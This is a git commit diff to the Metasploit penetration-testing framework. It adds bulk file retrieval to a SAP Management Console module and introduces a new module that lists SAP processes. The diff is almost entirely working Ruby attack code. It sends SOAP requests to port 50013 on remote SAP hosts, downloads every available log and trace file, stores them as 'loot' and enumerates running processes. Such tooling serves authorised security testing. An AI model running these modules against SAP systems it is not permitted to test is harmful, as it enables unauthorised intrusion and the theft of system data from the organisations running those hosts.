Added bulk file retrieval to sap_mgmt_con_getlogfiles, and new module to get SAP process list from remote host

* Added option to retrieve all available files from remote SAP host to
sap_mgmt_con_getlogfiles, based on the listing request provided in
sap_mgmt_con_listlogfiles module, if the variable GETALL is set to true.
Kept previous functionality of retrieving just one chosen file.

* Added new module sap_mgmt_con_getprocesslist to remotely list SAP
processes using SAP SOAP interface. Based on the other sap_mgmt_con_*
modules by Chris John Riley.
unstable
Bruno Morisson 2012-07-23 16:26:33 +01:00
parent 4efe84c609
commit 397d708340
2 changed files with 261 additions and 12 deletions

View File

@ -24,24 +24,29 @@ class Metasploit4 < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This module simply attempts to download available logfiles and This module simply attempts to download available logfiles and
developer tracefiles through the SAP Management Console SOAP developer tracefiles through the SAP Management Console SOAP
Interface. Please use the sap_manamgenet_console_listlogfiles Interface. Please use the sap_mgmt_con_listlogfiles
extension to view a list of availble files. extension to view a list of available files.
}, },
'References' => 'References' =>
[ [
# General # General
[ 'URL', 'http://blog.c22.cc' ] [ 'URL', 'http://blog.c22.cc' ]
], ],
'Author' => [ 'Chris John Riley' ], 'Author' =>
[ 'Chris John Riley', # original msf module
'Bruno Morisson <bm@integrity.pt>' # bulk file retrieval
],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
) )
register_options( register_options(
[ [
Opt::RPORT(50013), Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('RFILE', [ true, 'The name of the file to download', 'sapstart.log']), OptString.new('RFILE', [ true, 'The name of the file to download ', 'sapstart.log']),
OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']), OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']),
OptString.new('GETALL', [ false, 'Download all available files (WARNING: may take long!)', 'false']),
], self.class) ], self.class)
register_autofilter_ports([ 50013 ]) register_autofilter_ports([ 50013 ])
deregister_options('RHOST') deregister_options('RHOST')
@ -65,12 +70,103 @@ class Metasploit4 < Msf::Auxiliary
print_error("#{rhost}:#{rport} [SAP] Unable to connect") print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return return
end end
if "#{datastore['GETALL']}" == 'true'
listfiles(ip)
else
gettfiles(rhost,"#{datastore['RFILE']}",'')
end
gettfiles(ip)
end end
def gettfiles(rhost) def listfiles(rhost)
print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface") print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
success = false
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
case "#{datastore['FILETYPE']}"
when /^LOG/i
ns1 = 'ns1:ListLogFiles'
when /^TRACE/i
ns1 = 'ns1:ListDeveloperTraces'
end
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
begin
res = send_request_raw({
'uri' => "/#{datastore['URI']}",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 30)
env = []
if res and res.code == 200
case res.body
when nil
# Nothing
when /<file>(.*)<\/file>/i
body = []
body = res.body
env = body.scan(/<filename>(.*?)<\/filename><size>(.*?)<\/size><modtime>(.*?)<\/modtime>/i)
success = true
end
elsif res and res.code == 500
case res.body
when /<faultstring>(.*)<\/faultstring>/i
faultcode = $1.strip
fault = true
end
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
return
end
if success
print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}: #{env.length} files available")
env.each do |output|
gettfiles(rhost,output[0],output[1])
end
return
elsif fault
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
return
else
print_error("#{rhost}:#{rport} [SAP] failed to list files")
return
end
end
def gettfiles(rhost,logfile,filelen)
if filelen
print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (#{filelen} bytes)")
else
print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (size unknown)")
end
success = false success = false
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@ -93,7 +189,7 @@ class Metasploit4 < Msf::Auxiliary
data << '</sapsess:Session>' + "\r\n" data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n" data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n" data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><filename>' + "#{datastore['RFILE']}" + '</filename></' + ns1 + '>' + "\r\n" data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><filename>' + logfile + '</filename></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n" data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n" data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
@ -145,21 +241,21 @@ class Metasploit4 < Msf::Auxiliary
end end
if success if success
print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{datastore['RFILE'].downcase} looted") print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{logfile.downcase} looted")
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
store_loot( store_loot(
"sap.#{datastore['FILETYPE'].downcase}file", "sap.#{datastore['FILETYPE'].downcase}.file",
"text/xml", "text/xml",
addr, addr,
res.body, res.body,
"sap_#{datastore['RFILE'].downcase}.xml", "sap_#{logfile.downcase}.xml",
"SAP Get Logfile" "SAP Get Logfile"
) )
elsif fault elsif fault
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
return return
else else
print_error("#{rhost}:#{rport} [SAP] failed to request environment") print_error("#{rhost}:#{rport} [SAP] failed to download file")
return return
end end
end end

View File

@ -0,0 +1,153 @@
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP Management Console GetProcessList',
'Version' => '$Revision 1$',
'Description' => %q{
This module attempts to list SAP processes through the SAP Management Console SOAP Interface
},
'References' =>
[
# General
[ 'URL', 'http://blog.c22.cc' ]
],
'Author' =>
[
'Chris John Riley', # most of the code this module is based on
'Bruno Morisson <bm@integrity.pt>' # request ProcessList and parsing output
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
], self.class)
register_autofilter_ports([ 50013 ])
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => "/#{datastore['URI']}",
'method' => 'GET',
'headers' =>
{
'User-Agent' => datastore['UserAgent']
}
}, 25)
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
getprocesslist(ip)
end
def getprocesslist(rhost)
print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface ")
success = false
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:GetProcessList'
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
begin
res = send_request_raw({
'uri' => "/#{datastore['URI']}",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 15)
env = []
if res and res.code == 200
case res.body
when nil
# Nothing
when /<process>(.*?)<\/process>/i
body = []
body = res.body
env = body.scan(/<name>(.*?)<\/name><description>(.*?)<\/description><dispstatus>(.*?)<\/dispstatus><textstatus>(.*?)<\/textstatus><starttime>(.*?)<\/starttime><elapsedtime>(.*?)<\/elapsedtime>/i)
success = true
end
elsif res and res.code == 500
case res.body
when /<faultstring>(.*)<\/faultstring>/i
faultcode = $1.strip
fault = true
end
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
if success
print_good("#{rhost}:#{rport} [SAP] #{env.length} processes listed")
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] Process List",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Name",
"Description",
"Status",
"StartTime",
"ElapsedTime"
])
env.each do |output|
saptbl << [ output[0], output[1], output[3], output[4], output[5] ]
end
print(saptbl.to_s)
return
elsif fault
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
return
else
print_error("#{rhost}:#{rport} [SAP] failed to request process list")
return
end
end
end